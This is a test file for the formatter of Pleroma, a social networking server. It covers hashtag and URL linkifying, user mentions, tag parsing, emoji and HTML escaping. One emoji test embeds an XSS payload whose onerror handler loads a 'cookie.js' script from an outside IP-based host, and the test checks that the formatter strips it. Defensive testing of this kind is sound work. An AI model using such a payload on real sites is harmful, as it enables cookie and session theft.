formatter_test.exs
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	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.FormatterTest do
	alias Pleroma.Formatter
	alias Pleroma.User
	use Pleroma.DataCase

	import Pleroma.Factory

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	describe ".add_hashtag_links" do
	test "turns hashtags into links" do
	text = "I love #cofe and #2hu"

	expected_text =
	"I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"

	assert {^expected_text, [], _tags} = Formatter.linkify(text)
	end

	test "does not turn html characters to tags" do
	text = "#fact_3: pleroma does what mastodon't"

	expected_text =
	"<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't"

	assert {^expected_text, [], _tags} = Formatter.linkify(text)
	end
	end

	describe ".add_links" do
	test "turning urls into links" do
	text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."

	expected =
	"Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://mastodon.social/@lambadalambda"

	expected =
	"<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://mastodon.social:4000/@lambadalambda"

	expected =
	"<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "@lambadalambda"
	expected = "@lambadalambda"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "http://www.cs.vu.nl/~ast/intel/"
	expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"

	expected =
	"<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"

	expected =
	"<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://www.google.co.jp/search?q=Nasim+Aghdam"

	expected =
	"<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://en.wikipedia.org/wiki/Duff's_device"

	expected =
	"<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://pleroma.com https://pleroma.com/sucks"

	expected =
	"<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "xmpp:contact@hacktivis.me"

	expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text =
	"magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"

	expected = "<a href=\"#{text}\">#{text}</a>"

	assert {^expected, [], []} = Formatter.linkify(text)
	end
	end

	describe "add_user_links" do
	test "gives a replacement for user links, using local nicknames in user links text" do
	text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
	gsimg = insert(:user, %{nickname: "gsimg"})

	archaeme =
	insert(:user, %{
	nickname: "archa_eme_",
	info: %User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
	})

	archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})

	{text, mentions, []} = Formatter.linkify(text)

	assert length(mentions) == 3

	expected_text =
	"<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
	gsimg.ap_id
	}'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
	archaeme.id
	}' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
	archaeme_remote.id
	}' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"

	assert expected_text == text
	end

	test "gives a replacement for user links when the user is using Osada" do
	{:ok, mike} = User.get_or_fetch("mike@osada.macgirvin.com")

	text = "@mike@osada.macgirvin.com test"

	{text, mentions, []} = Formatter.linkify(text)

	assert length(mentions) == 1

	expected_text =
	"<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"

	assert expected_text == text
	end

	test "gives a replacement for single-character local nicknames" do
	text = "@o hi"
	o = insert(:user, %{nickname: "o"})

	{text, mentions, []} = Formatter.linkify(text)

	assert length(mentions) == 1

	expected_text =
	"<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"

	assert expected_text == text
	end

	test "does not give a replacement for single-character local nicknames who don't exist" do
	text = "@a hi"

	expected_text = "@a hi"
	assert {^expected_text, [] = _mentions, [] = _tags} = Formatter.linkify(text)
	end

	test "given the 'safe_mention' option, it will only mention people in the beginning" do
	user = insert(:user)
	other_user = insert(:user)
	third_user = insert(:user)
	text = " @#{user.nickname} @#{other_user.nickname} hey dudes i hate @#{third_user.nickname}"
	{expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)

	assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}]

	assert expected_text ==
	"<span class='h-card'><a data-user='#{user.id}' class='u-url mention' href='#{
	user.ap_id
	}'>@<span>#{user.nickname}</span></a></span> <span class='h-card'><a data-user='#{
	other_user.id
	}' class='u-url mention' href='#{other_user.ap_id}'>@<span>#{other_user.nickname}</span></a></span> hey dudes i hate <span class='h-card'><a data-user='#{
	third_user.id
	}' class='u-url mention' href='#{third_user.ap_id}'>@<span>#{third_user.nickname}</span></a></span>"
	end

	test "given the 'safe_mention' option, it will still work without any mention" do
	text = "A post without any mention"
	{expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)

	assert mentions == []
	assert expected_text == text
	end

	test "given the 'safe_mention' option, it will keep text after newlines" do
	user = insert(:user)
	text = " @#{user.nickname}\n hey dude\n\nhow are you doing?"

	{expected_text, _, _} = Formatter.linkify(text, safe_mention: true)

	assert expected_text =~ "how are you doing?"
	end
	end

	describe ".parse_tags" do
	test "parses tags in the text" do
	text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は｡"

	expected_tags = [
	{"#Test", "test"},
	{"#working", "working"},
	{"#は", "は"},
	{"#漢字", "漢字"}
	]

	assert {_text, [], ^expected_tags} = Formatter.linkify(text)
	end
	end

	test "it can parse mentions and return the relevant users" do
	text =
	"@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"

	o = insert(:user, %{nickname: "o"})
	jimm = insert(:user, %{nickname: "jimm"})
	gsimg = insert(:user, %{nickname: "gsimg"})
	archaeme = insert(:user, %{nickname: "archaeme"})
	archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})

	expected_mentions = [
	{"@archaeme", archaeme},
	{"@archaeme@archae.me", archaeme_remote},
	{"@gsimg", gsimg},
	{"@jimm", jimm},
	{"@o", o}
	]

	assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
	end

	test "it adds cool emoji" do
	text = "I love :firefox:"

	expected_result =
	"I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"

	assert Formatter.emojify(text) == expected_result
	end

	test "it does not add XSS emoji" do
	text =
	"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"

	custom_emoji = %{
	"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
	"https://placehold.it/1x1"
	}

	expected_result =
	"I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"

	assert Formatter.emojify(text, custom_emoji) == expected_result
	end

	test "it returns the emoji used in the text" do
	text = "I love :firefox:"

	assert Formatter.get_emoji(text) == [
	{"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
	]
	end

	test "it returns a nice empty result when no emojis are present" do
	text = "I love moominamma"
	assert Formatter.get_emoji(text) == []
	end

	test "it doesn't die when text is absent" do
	text = nil
	assert Formatter.get_emoji(text) == []
	end

	test "it escapes HTML in plain text" do
	text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
	expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"

	assert Formatter.html_escape(text, "text/plain") == expected
	end
	end

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